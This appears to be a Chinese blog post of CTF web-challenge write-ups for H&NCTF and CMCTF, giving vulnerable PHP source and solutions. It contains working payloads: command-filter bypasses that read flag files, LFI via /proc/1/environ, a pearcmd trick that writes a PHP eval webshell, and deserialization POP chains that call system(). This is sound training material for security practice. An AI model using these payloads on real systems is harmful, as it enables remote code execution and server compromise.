H&NCTF部分web题解+CMCTF部分web题解

(菜鸡wea5e1等待官方wp中)(后面会更新)

H&NCTF

Really_Ez_Rce

是..是…是…rce,我们有救了

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
  $inputNumber = $_REQUEST['Number'];
   
  if (preg_match('/\d/', $inputNumber)) {
      die("不行不行,不能这样");
  }

  if (intval($inputNumber)) {
      echo "OK,接下来你知道该怎么做吗";
       
      if (isset($_POST['cmd'])) {
          $cmd = $_POST['cmd'];
           
          if (!preg_match(
              '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
              $cmd
          )) {
              echo "你传的参数似乎挺正经的,放你过去吧<br>";
              system($cmd);
          } else {
              echo "nonono,hacker!!!";
          }
      }
  }
}

过滤的挺多的,上面Number是intval函数,可以使用数组绕过,Number[]=1

不过反引号没有被过滤,可以进行拼接ls命令

cmd=l``s; cmd=l``s /,flag在flag.txt,然后就是看怎么读的了
晨曦大神是cmd=a=ca;b=t;c=fla;d=g;e=`expr substr $KUBERNETES_SERVICE_HOST 3 1`;f=tx;g=t;`echo $a$b /$c$d$e$f$g`这样出来的,.是通过环境变量KUBERNETES_SERVICE_HOST的第 3 个字符开始截取 1 个字符截取出来的
在群里面发现cd /%26%26c$@at `l$@s`确实厉害// cd /;ca$1t `l$1s`
然后就是base64加拼接:
cmd=a=ba;b=se64;c=s;d=h;echo Y2F0IC9mKg==|$a$b -d|$c$d ->echo Y2F0IC9mKg== | base64 -d | sh
Sh 执行命令 cat /f*
看群里面的大佬,发现tar -cvf backup /这样备份并且列出来,可以看
cd /;cp $(ls | grep fl) /var/www/html/flag_gaiming //可以cp改名复制到html目录下再cat打开
cp $(ls /| grep fl) flag_gaiming
cd /;c``at `grep fl`
cmd=a=fl;b=ag;c=l;d=s;cd /;aa=fin;aaa=d; rev`$aaSaaa /proc/self/cwd/-inum 86676`
一题多解

DeceptiFlag

这个打开发现不管怎么传都不行,bp抓包发现存在Lang这个参数,直接qaq_visible=xiyangyang&Lang=huitailang 然后/?qaq=xiyangyang发现回显出来tips.php这个文件,然后去访问,发现302跳转tips.php?file=flag,使用伪协议做,但是不管是flag.php还是/flag都是没有flag的,然后就试 ../../../../../../etc/passwd目录穿越,读一下/etc/passwd发现可以,flag就是不知道路径

这里有两个方法

kevin师傅提供的非预期解:直接上env环境变量里面/proc/self/environ,发现确实没有,就一个个爆破env,/proc/数字/environ爆破,发现在/proc/1/environ的时候出现flag
晨曦大神提供的方法:/tips.php?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+test.php 直接写入小马,不过这个是针对 PHP 环境中 pearcmd.php 文件本地文件包含 (LFI) 漏洞的利用尝试
tips.php? - 目标漏洞页面
+config-create+/ - 调用 pecmd.php 的 config-create 命令
&file=file:///usr/local/lib/php/pearcmd - 指定 pecmd.php 文件路径
<?=@eval($_POST['cmd']);?> - 要写入的恶意代码
+test.php - 生成的恶意文件名

ez_php

<?php
error_reporting(0);
class GOGOGO{
  public $dengchao;
  function __destruct(){
      echo "Go Go Go~ 出发喽!" . $this->dengchao;
  }
}
class DouBao{
  public $dao;
  public $Dagongren;
  public $Bagongren;
  function __toString(){
      if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
          call_user_func_array($this->dao, ['诗人我吃!']);
      }
  }
}
class HeiCaFei{
  public $HongCaFei;
  function __call($name, $arguments){
      call_user_func_array($this->HongCaFei, [0 => $name]);
  }
}

if (isset($_POST['data'])) {
  $temp = unserialize($_POST['data']);
  throw new Exception('What do you want to do?');
} else {
  highlight_file(__FILE__);
}
?>
用原生类绕过 hash 函数,去掉最后一个大括号实现fast destruct,从而绕过 throw 异常抛出
<?php
error_reporting(0);
class GOGOGO{
  public $dengchao;
  function __destruct(){
      echo "Go Go Go~ 出发喽!" . $this->dengchao;
  }
}
class DouBao{
  public $dao;
  public $Dagongren;
  public $Bagongren;
  function __toString(){
      if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
          call_user_func_array($this->dao, ['诗人我吃!']);
      }
  }
}
class HeiCaFei{
  public $HongCaFei="system";
  function __call($name, $arguments){
      echo "yes";
      call_user_func_array($this->HongCaFei, [0 => $name]);
  }
}

$a = new GOGOGO();
$a->dengchao = new DouBao();
$a->dengchao->Dagongren=new Error("test",1);$a->dengchao->Bagongren=new Error("test",2);
$a->dengchao->dao=[new HeiCaFei(),'cat /of*'];
echo urlencode(serialize($a));

CMCTF

lottery签到重生版

没有什么好说的,运气直接出来了

函数重生版

<?php
highlight_file(__FILE__);
if(isset($_GET['i'])){
  switch(strtolower(substr($_GET['i'],0,6))){
      default:
      if(!preg_match('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i',$_GET['i'])){
          eval($_GET['i']);
      }else{
          die('error');
      }break;
  }
}

发现有的无参数rce里面的函数没有被ban,使用get_defined_vars()这个函数

i=eval(end(current(get_defined_vars())));&b=system('ls /');
i=eval(end(current(get_defined_vars())));&b=system('tac /tmp/f*');
echo "/var/www/html/flag.php && echo '$flag = "flag{950E490EF95195CEABF0AC916836E88F}";'>>/var/www/html/flag.php && echo "?>">>/var/www/html/flag.php # echo $1>/flag.txt && chmod 777 /flag.txt #!/bin/bash 额,这个是没有重定向出来吗,(疑问)

pop之我又双叒叕重生了

<?php
highlight_file(__FILE__);
class A1
{
  public $a1;
  public function __construct()
  {
      echo "v50 Crazy Thursday v+flag";
  }
  public function __wakeup()
  {
      $this->a1->get_flag();
  }
}
class A2
{
  public $a2 = '10086';
  public function get_flag()
  {
      echo "flag{" . $this->a2 . "}";
  }
}
class A3
{
  public $a3;
  public function __toString()
  {
      $this->a3->fun();
      return " you can + 772019189 to ask answer";
  }
}
class A4
{
  public $a4;
  public function fun()
  {  
      if ($_GET["2025"]==="admin"){
          echo "very easy not hard";
          system("cat ./flag.php");
          echo $cmflag;
      }
  }
}
if (isset($_GET["wlaq"])){
  @unserialize($_GET["wlaq"]);
}

简单的反序列化

<?php
class A1
{
  public $a1;
}
class A2
{
  public $a2 = '10086';
}
class A3
{
  public $a3;
}
class A4
{
  public $a4;

}
$a = new A1();
$b= new A2();
$c= new A3();
$d= new A4();
$a -> a1 = $b;
$b -> a2 = $c;
$c -> a3 = $d;
echo serialize($a);
不过记得传2025=admin然后看源代码(这里我真的服了)

can_u_escape

<?php
include("flag.php");
highlight_file(__FILE__);
function filter($name){
  $safe=array("flag","php");
  $name=str_replace($safe,"hake",$name);
  return $name;
}
class test{
  var $user;
  var $pass='daydream';
  function __construct($user){
      $this->user=$user;
       
  }
}
$param=$_GET['a'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
  echo $flag;
}
?>
本来看不明白,Kevin师傅提示说字符串逃逸,那个忘了,现学直接出来了
<?php
function filter($str){
  return str_replace('bb', 'ccc', $str);
}
class A{
  public $name='aaaabb';
  public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res;
$c=unserialize($res);
echo $c;
?>
//这里附上我的笔记,嘻嘻
";s:4:"pass";s:8:"escaping";}
要逃逸29
php
phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp

busy_search

额,一直打不开,以为环境,结果是简单的信息泄露,访问index.html,然后找<!的,拼接就行

give!me!money!

直接dirsearch扫描出来index.bar,发现源码

<?php



// 检查是否有id参数传入
$success=0;
$shenhe=0;
$time=$_GET['time'];
$money=$_GET['money'];
if (isset($_GET['id'])) {
  $id = $_GET['id'];

  // 根据id的值执行不同的操作
  if ($id === 'a') {
      // 如果id为a,向当前页面发送名为money的参数,值为648
      header("Location: ?id=d&money=648");

       
  } elseif ($id === 'b') {
      // 如果id为b,输出特定的信息
      echo "哈哈哈,琼瑰大学生,不要放弃挣扎,乖乖充钱吧!\n";
  }
} else {
  // 如果没有传入id参数,可以输出提示信息
  echo "三国杀开启最新活动,充值送flag。充值114514元即可获得阴曹地府将邢甲御,附赠江大新生赛flag\n";

echo "提示:你的生活费为1000元。发送id=a充值648,发送id=b球球狗卡策划发大学生福利\n";
  echo "快快充钱吧!";
}
if (isset($_GET['money']) && isset($_GET['id'])){
  if ($money<114514){
      echo "就这点钱还想买武将?";
  }
  else{
      $ccc=time();
      $ttt=substr($ccc, 0, 7);
      mt_srand($ttt);
      for($i =0; $i <= 100; $i++){
        if($i == 100){
            $shenhe = mt_rand();

        }
        else{
            mt_rand();
        };
      }
  }
}
$c=$_POST['c'];
if(isset($_POST['c']) && $money >= 114514){
  if($c == $shenhe){
      $sucess=1;
      echo "";
  }
   
}

if ($sucess==0 && $money >= 114514){
  echo "开桂了?哪来这么多钱";
}
?>

逻辑简单,就是时间戳不知道为什么我跑不出来

<?php
$current_time = time(); // 同步攻击机器与服务器的时间
$window = 1; // 时间误差窗口(秒)

for ($offset = -$window; $offset <= $window; $offset++) {
    $seed_time = $current_time + $offset;
    $seed = substr($seed_time, 0, 7);
    mt_srand($seed);

    for ($i = 0; $i <= 100; $i++) {
        $rand = mt_rand();
        if ($i == 100) {
            echo "Seed: $seed → shenhe: $rand\n";
        }
    }
}
?>
?id=d&money=1114514
c=时间戳

u_know?

先看shop.php

<?php
highlight_file(__FILE__);
include("change.php");
$buy=$_GET['buy'];
$un_buy=unserialize($buy);
$gift1="xiaomisu7";
$gift2="redmiK60";
if(isset($_GET['buy'])){
  $gift1=$anotherthing;
  $gift2=$otherthing;
   
  if($un_buy['onething']==$gift1 && $un_buy['twothing']==$gift2){
      echo $flag1;
      echo "谢谢你,你是个好人";
  }
  else{

      echo "女神:“哎呀我补药买这个”";
  }
}
else{
echo "给她买什么好呢";
}

?> 给她买什么好呢

看见关键语句,然后发现是关于array 数组的东西

from phpserialize import * 
buy = {'onething':True,'twothing':True}
print(serialize(buy))
# a:2:{s:8:"onething";b:1;s:8:"twothing";b:1;}
?buy=a:2:{s:8:"onething";b:1;s:8:"twothing";b:1;}
出来WW91IGRvbid0IGFjdHVhbGx5IGhhdmUgYSBnaXJsZnJpZW谢谢你,你是个好人

kfc.php

<?php

class order
{
  public $start;

  function __construct($start)
  {
      $this->start = $start;
  }

  function __destruct()
  {
      $this->start->helloworld();
  }
}

class zhengcan
{
  public $lbjjrj;

  function __call($name, $arguments)
  {
      echo $this->lbjjrj->douzhi;
  }
}

class tiandian
{
   

  function __get($Attribute)
  {
      echo '';
       
  }
}

if(isset($_GET['serialize'])) {
  unserialize($_GET['serialize']);
} else {
  echo "使用压缩包点单kfc.rar";
}
反序列化直接打
<?php

class order
{
  public $start;
}

class zhengcan
{
  public $lbjjrj;
}

class tiandian
{


}
$a = new order();
$a -> start = new zhengcan();
$a -> start -> lbjjrj = new tiandian();
echo serialize($a);
//O:5:"order":1:{s:5:"start";O:8:"zhengcan":1:{s:6:"lbjjrj";O:8:"tiandian":0:{}}}
回显5kLCBpdCdzIGp1c3QgbXkgaW1hZ2luYXJ5IGN5YmVyIGxpZmU=,两个base64解密出来flag
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇